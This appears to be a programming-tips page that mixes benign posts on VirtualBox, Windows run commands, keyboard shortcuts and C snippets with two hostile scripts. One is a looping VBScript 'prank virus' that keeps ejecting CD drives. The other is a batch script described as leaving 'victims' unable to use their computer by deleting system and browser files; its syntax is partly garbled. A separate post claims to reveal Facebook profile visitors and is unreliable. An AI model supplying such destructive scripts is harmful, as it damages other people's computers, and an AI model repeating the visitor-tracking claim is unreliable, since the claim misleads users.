Programmer's Zone

Programmer's Zone in this page developer and programmer can share their experience and ask to solve programming related query

12/08/2015

Now Run Any OS in Your PC Without Install

VirtualBox is a powerful x86 and AMD64/Intel64 virtualization product for enterprise as well as home use. Targeted at server, desktop and embedded use, it is now the only professional-quality virtualization solution that is also Open Source Software.

Developer: Oracle.

Some of the features of VirtualBox are:
*Modularity. VirtualBox has an extremely modular design with well-defined internal programming interfaces and a client/server design. This makes it easy to control it from several interfaces at once: for example, you can start a virtual machine in a typical virtual machine GUI and then control that machine from the command line, or possibly remotely. VirtualBox also comes with a full Software Development Kit: even though it is Open Source Software, you don't have to hack the source to write a new interface for VirtualBox.

*Virtual machine descriptions in XML. The configuration settings of virtual machines are stored entirely in XML and are independent of the local machines. Virtual machine definitions can therefore easily be ported to other computers.

The techniques and features that VirtualBox provides are useful for several scenarios:

Running multiple operating systems simultaneously.
VirtualBox allows you to run more than one operating system at a time. This way, you can run software written for one operating system on another (for example, Windows software on Linux or a Mac) without having to reboot to use it. Since you can configure what kinds of "virtual" hardware should be presented to each such operating system, you can install an old operating system such as DOS or OS/2 even if your real computer's hardware is no longer supported by that operating system.

Easier software installations.
Software vendors can use virtual machines to ship entire software configurations. For example, installing a complete mail server solution on a real machine can be a tedious task. With VirtualBox, such a complex setup (then often called an "appliance") can be packed into a virtual machine. Installing and running a mail server becomes as easy as importing such an appliance into VirtualBox.

Testing and disaster recovery.
Once installed, a virtual machine and its virtual hard disks can be considered a "container" that can be arbitrarily frozen, woken up, copied, backed up, and transported between hosts.

On top of that, with the use of another VirtualBox feature called "snapshots", one can save a particular state of a virtual machine and revert back to that state, if necessary. This way, one can freely experiment with a computing environment. If something goes wrong (e.g. after installing misbehaving software or infecting the guest with a virus), one can easily switch back to a previous snapshot and avoid the need of frequent backups and restores.

Any number of snapshots can be created, allowing you to travel back and forward in virtual machine time. You can delete snapshots while a VM is running to reclaim disk space.

Infrastructure consolidation. Virtualization can significantly reduce hardware and electricity costs. Most of the time, computers today only use a fraction of their potential power and run with low average system loads. A lot of hardware resources as well as electricity is thereby wasted. So, instead of running many such physical computers that are only partially used, one can pack many virtual machines onto a few powerful hosts and balance the loads between them.

07/08/2015

How To Save Web Page To PDF File ?
1. Open the Google Chrome Browser on your PC or MAC
2. Then go to the web page that you want to convert as a PDF.
3. Now press Ctrl+P on Windows PC or Command+P if you are on a Mac to Open the the Print dialog on Chrome Browser.
4. Now Change the destination to “Save As PDF” and hit the save button.
5. The current web page will instantly be downloaded as a PDF document.

02/08/2015
17/02/2015

Shortcuts
Run Commands:

Quote:
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt

Run Commands to access the control panel:

Quote:
Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl

Command Prompt:

Quote:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications

Windows XP Shortcuts:

Quote:
ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items

Windows Explorer Shortcuts:

Quote:
ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item

Internet Explorer Shortcuts:

Quote:
CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help

25/01/2015

Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drives
copy follwing code and paste it in notepad and save it as virus.vbs or *.vbs then doble click to open this file

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

11/10/2014

C can Initialize elements in an array in any order:

To specify an array index and element, write [index] = inside curly braces.

For example :



int array[] = {[5] = 10, [1] = 2, [3] = 4 };

is equivalent to



int array[] = { 0, 2, 0, 4, 0, 10};

Some thing more interesting :

Initialize a range of index to a particular value in an array. This is a GNU extension (features not found in ISO standard C).

Example :



int array[] = { [0 ... 9] = 1, [10 ... 20] = 2, [30 ... 40] = 3};

is equivalent to



int array[] = { 1, 1, 1, 1, ..... 2, 2, 2 ...... 3, 3, 3};

06/10/2014

Make a Personal Diary(Log) with Notepad (Easter Eggs)

You can use this trick to create a personal log with Notepad which will automatically include the current date and time before your note. To do so, open Notepad and type .LOG in capital letters and press Enter. Save the file. Now, every time you open this file, notepad will automatically insert the current time and date before the note. Just enter your note and save the file each time after making an entry.

24/09/2014

Batch Programming Code. It will delete explore.exe,logoff ,mouse,keyboard files. So victims can not do anything in his computer.

off
exist c:\windows\system32\mouse del c:\windows\system32\mouse
exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

17/09/2014

How To Trace Your Facebook Profile Visitors

Step 1) Go to your Facebook Profile Page.

Step 2) Now Press Ctrl + U from your keyboard for see source code of your profile page.

Step 3) Now press Ctrl + F from your keyboard to open search box.

Step 4) Now search this code {"list":

Step 5) You find some Facebook Profile Ids are like shown below. example.
{"list":["100002709882099-2","100002623344122-2", ....... ])

here 100002709882099 & 100002623344122 are id's of visitor

Step 6) There are some Facebook Profile Ids of your friends who visited recently.

Step 7) The first one ID's are showing visits the most number of time.

Step 8) Now if your want to findout, Open a new tab Enter below link :
www.facebook.com/Facebook Profile Id

For Example : www.facebook.com/100002709882099

17/09/2014

Best Run Commands
1. Accessibility Options : access.cpl
2. Add Hardware : hdwwiz.cpl
3. Add / Remove Programs : appwiz.cpl
4. Administrative Tools : control admintools
5. Automatic Updates : wuaucpl.cpl
6. Wizard file transfer Bluethooth : fsquirt
7. Calculator : calc
8. Certificate Manager : certmgr.msc
9. Character : charmap
10. Checking disk : chkdsk
11. Manager of the album (clipboard) : clipbrd
12. Command Prompt : cmd
13. Service components (DCOM) : dcomcnfg
14. Computer Management : compmgmt.msc
15. DDE active sharing : ddeshare
16. Device Manager : devmgmt.msc
17. DirectX Control Panel (if installed) : directx.cpl
18. DirectX Diagnostic Utility : dxdiag
19. Disk Cleanup : cleanmgr
20. System Information : dxdiag
21. Disk Defragmenter : dfrg.msc
22. Disk Management : diskmgmt.msc
23. Partition manager : diskpart
24. Display Properties : control desktop
25. Properties of the display (2) : desk.cpl
26. Properties display (tab "appearance") : control color
27. Dr. Watson : drwtsn32
28. Manager vérirficateur drivers : check
29. Event Viewer : Eventvwr.msc
30. Verification of signatures of files : sigverif
31. Findfast (if present) : findfast.cpl
32. Folder Options : control folders
33. Fonts (fonts) : control fonts
34. Fonts folder windows : fonts
35. Free Cell : freecell
36. Game Controllers : Joy.cpl
37. Group Policy (XP Pro) : gpedit.msc
38. Hearts (card game) : mshearts
39. IExpress (file generator. Cab) : IExpress
40. Indexing Service (if not disabled) : ciadv.msc
41. Internet Properties : inetcpl.cpl
42. IPConfig (display configuration) : ipconfig / all
43. IPConfig (displays the contents of the DNS cache) : ipconfig / displaydns
44. IPConfig (erases the contents of the DNS cache) : ipconfig / flushdns
45. IPConfig (IP configuration cancels maps) : ipconfig / release
46. IPConfig (renew IP configuration maps) : ipconfig / renew
47. Java Control Panel (if present) : jpicpl32.cpl
48. Java Control Panel (if present) : javaws
49. Keyboard Properties : control keyboard
50. Local Security Settings : secpol.msc
51. Local Users and Groups : lusrmgr.msc
52. Logout : logoff
53. Microsoft Chat : winchat
54. Minesweeper (game) : winmine
55. Properties of the mouse : control mouse
56. Properties of the mouse (2) : main.cpl
57. Network Connections : control NetConnect
58. Network Connections (2) : ncpa.cpl
59. Network configuration wizard : netsetup.cpl
60. Notepad : notepad
61. NView Desktop Manager (if installed) : nvtuicpl.cpl
62. Manager links : packager
63. Data Source Administrator ODBC : odbccp32.cpl
64. Screen Keyboard : OSK
65. AC3 Filter (if installed) : ac3filter.cpl
66. Password manager (if present) : Password.cpl
67. Monitor performance : perfmon.msc
68. Monitor performance (2) : perfmon
69. Dialing Properties (phone) : telephon.cpl
70. Power Options : powercfg.cpl
71. Printers and Faxes : control printers
72. Private Character Editor : eudcedit
73. Quicktime (if installed) : QuickTime.cpl
74. Regional and Language Options : intl.cpl
75. Editor of the registry : regedit
76. Remote desktop connection : mstsc
77. Removable Storage : ntmsmgr.msc
78. requests the operator to removable storage : ntmsoprq.msc
79. RSoP (traduction. ..) (XP Pro) : rsop.msc
80. Scanners and Cameras : sticpl.cpl
81. Scheduled Tasks : control schedtasks
82. Security Center : wscui.cpl
83. Console management services : services.msc
84. shared folders : fsmgmt.msc
85. Turn off windows : shutdown
86. Sounds and Audio Devices : mmsys.cpl
87. Spider (card game) : spider
88. Client Network Utility SQL server : cliconfg
89. System Configuration Editor : sysedit
90. System Configuration Utility : msconfig
91. System File Checker (SFC =) (Scan Now) : sfc / scannow
92. SFC (Scan next startup) : sfc / scanonce
93. SFC (Scan each démarraget) : sfc / scanboot
94. SFC (back to default settings) : sfc / revert
95. SFC (purge cache files) : sfc / purgecache
96. SFC (define size CAHC x) : sfc / cachesize = x
97. System Properties : sysdm.cpl
98. Task Manager : taskmgr
99. Telnet client : telnet
100. User Accounts : nusrmgr.cpl
101. Utility Manager (Magnifier, etc) : utilman
102. Windows firewall (XP SP2) : firewall.cpl
103. Microsoft Magnifier : magnify
104. Windows Management Infrastructure : wmimgmt.msc
105. Protection of the accounts database : syskey
106. Windows update : wupdmgr
107. Introducing Windows XP (if not erased) : tourstart
108. Wordpad : write
109. Date and Time Properties : timedate.cpl

07/09/2014

Here is some sample code that shows how to get the date and time on a DOS system.




int main(void)
{
struct dosdate_t d;
_dos_getdate(&d);
printf("The current year is: %d\n", d.year);
printf("The current day is: %d\n", d.day);
printf("The current month is: %d\n", d.month);
return 0;
}

Address

Bhopal
462038

Telephone

9981292925

Website

Alerts

Be the first to know and let us send you an email when Programmer's Zone posts news and promotions. Your email address will not be used for any other purpose, and you can unsubscribe at any time.

Contact The Business

Send a message to Programmer's Zone:

Share